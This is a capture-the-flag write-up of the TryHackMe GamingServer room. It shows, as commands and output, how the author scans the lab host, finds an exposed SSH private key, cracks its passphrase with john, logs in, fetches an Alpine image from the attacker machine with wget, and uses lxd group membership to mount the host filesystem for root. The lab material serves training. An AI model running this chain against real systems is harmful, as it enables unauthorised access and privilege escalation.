Post

TryHackMe: GamingServer

TryHackMe: GamingServer

GamingServer was another room where i only had to check on how to get the root flag. As time goes by and i’m doing more and more rooms i feel like i’m getting better in the general sense but there is still a lot i need to fix, i keep repeating mistakes or not doing certain things that i knew i should be doing. But i’m feeling motivated to better myself so from here its just gonna get better and better!

Room https://tryhackme.com/room/gamingserver

Initial Enumeration

Nmap Scan

We start with our nmap scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap -T4 -n -sC -sV -Pn -p- 10.10.69.195 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-04 19:54 GMT
Nmap scan report for 10.10.69.195
Host is up (0.085s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 34:0e:fe:06:12:67:3e:a4:eb:ab:7a:c4:81:6d:fe:a9 (RSA)
|   256 49:61:1e:f4:52:6e:7b:29:98:db:30:2d:16:ed:f4:8b (ECDSA)
|_  256 b8:60:c4:5b:b7:b2:d0:23:a0:c7:56:59:5c:63:1e:c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: House of danak
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.44 seconds

Web 80

Just ssh and http so we go to port 80:

Web 80

Not much to see on the outside but going to the source code we find a possible username:

Web 80 Source

Gobuster Scan

Other pages didn’t have much so we go do our usual gobuster scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(kali㉿kali)-[~/Desktop]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x ".txt,.html,.php" -t 25 --timeout 20s -u http://10.10.69.195:80/ 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.69.195:80/
[+] Method:                  GET
[+] Threads:                 25
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              txt,html,php
[+] Timeout:                 20s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 2762]
/.html                (Status: 403) [Size: 277]
/about.html           (Status: 200) [Size: 1435]
/about.php            (Status: 200) [Size: 2213]
/uploads              (Status: 301) [Size: 314] [--> http://10.10.69.195/uploads/]
/.php                 (Status: 403) [Size: 277]
/robots.txt           (Status: 200) [Size: 33]
/secret               (Status: 301) [Size: 313] [--> http://10.10.69.195/secret/]
/myths.html           (Status: 200) [Size: 3067]
/server-status        (Status: 403) [Size: 277]
Progress: 882240 / 882244 (100.00%)
===============================================================
Finished
===============================================================

We find one interesting directory, secret, and inside it there’s a file called secretKey:

Web 80 Secret

Opening the file we get an ssh private key:

Web 80 Secret RSA

Shell as john

We have a possible user and a private key, we can try cracking the key and logging into ssh. To crack it we first need to hash it with ssh2john and then use the normal john to crack the password:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh2john id_rsa > hash

┌──(kali㉿kali)-[~/Desktop]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash  
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
letmein          (id_rsa)     
1g 0:00:00:00 DONE (2025-02-04 20:01) 50.00g/s 25600p/s 25600c/s 25600C/s teiubesc..letmein
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Now we can log into john and read the user flag:

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh -i id_rsa john@10.10.69.195                     
Enter passphrase for key 'id_rsa': 
john@exploitable:~$ ls
user.txt
john@exploitable:~$ cat user.txt
[REDACTED]

When enumerating, since we don’t have john’s password we can’t do sudo -l, but doing id we see that john is on the sudo and lxd group. We can’t do much with sudo so we will try exploiting lxd.

Shell as root

First, in our machine, we will download the alpine-builder and build it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[~/Desktop]
└─$ git clone  https://github.com/saghul/lxd-alpine-builder.git
Cloning into 'lxd-alpine-builder'...
remote: Enumerating objects: 50, done.
remote: Counting objects: 100% (8/8), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 50 (delta 2), reused 5 (delta 2), pack-reused 42 (from 1)
Receiving objects: 100% (50/50), 3.11 MiB | 8.83 MiB/s, done.
Resolving deltas: 100% (15/15), done.
                                                                                                                                          
┌──(kali㉿kali)-[~/Desktop]
└─$ cd lxd-alpine-builder 

┌──(kali㉿kali)-[~/Desktop/lxd-alpine-builder]
└─$ sudo ./build-alpine
Determining the latest release... v3.21
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.21/main/x86_64
Downloading alpine-keys-2.5-r0.apk
...

Running the script will create an image stored in an archived file, so now we will start an http server on our machine to be able to get that file inside john’s machine:

1
2
3
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Inside john we will go to the /tmp folder first and then download the file:

1
2
3
4
5
6
7
8
9
10
11
john@exploitable:~$ cd /tmp
john@exploitable:/tmp$ wget http://10.23.58.75:80/alpine-v3.13-x86_64-20210218_0139.tar.gz
--2025-02-04 20:37:09--  http://10.23.58.75/alpine-v3.13-x86_64-20210218_0139.tar.gz
Connecting to 10.23.58.75:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3259593 (3.1M) [application/gzip]
Saving to: ‘alpine-v3.13-x86_64-20210218_0139.tar.gz’

alpine-v3.13-x86_64-20210218_0139. 100%[==============================================================>]   3.11M  1.77MB/s    in 1.8s    

2025-02-04 20:37:11 (1.77 MB/s) - ‘alpine-v3.13-x86_64-20210218_0139.tar.gz’ saved [3259593/3259593]

Now we need to import the image we created:

1
2
john@exploitable:/tmp$ lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
Image imported with fingerprint: cd73881adaac667ca3529972c7b380af240a9e3b09730f8c8e4e6a23e1a7892b

And lastly, to spawn a root shell we have to run the following commands:

1
2
3
4
5
6
7
8
john@exploitable:/tmp$ lxc init myimage ignite -c security.privileged=true
Creating ignite
john@exploitable:/tmp$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to ignite
john@exploitable:/tmp$ lxc start ignite
john@exploitable:/tmp$ lxc exec ignite /bin/sh
~ # whoami
root

To get the root flag we just have to go to /mnt/root/root and read it:

1
2
3
4
5
/ # cd mnt/root/root
/mnt/root/root # ls
root.txt
/mnt/root/root # cat root.txt
[REDACTED]
This post is licensed under CC BY 4.0 by the author.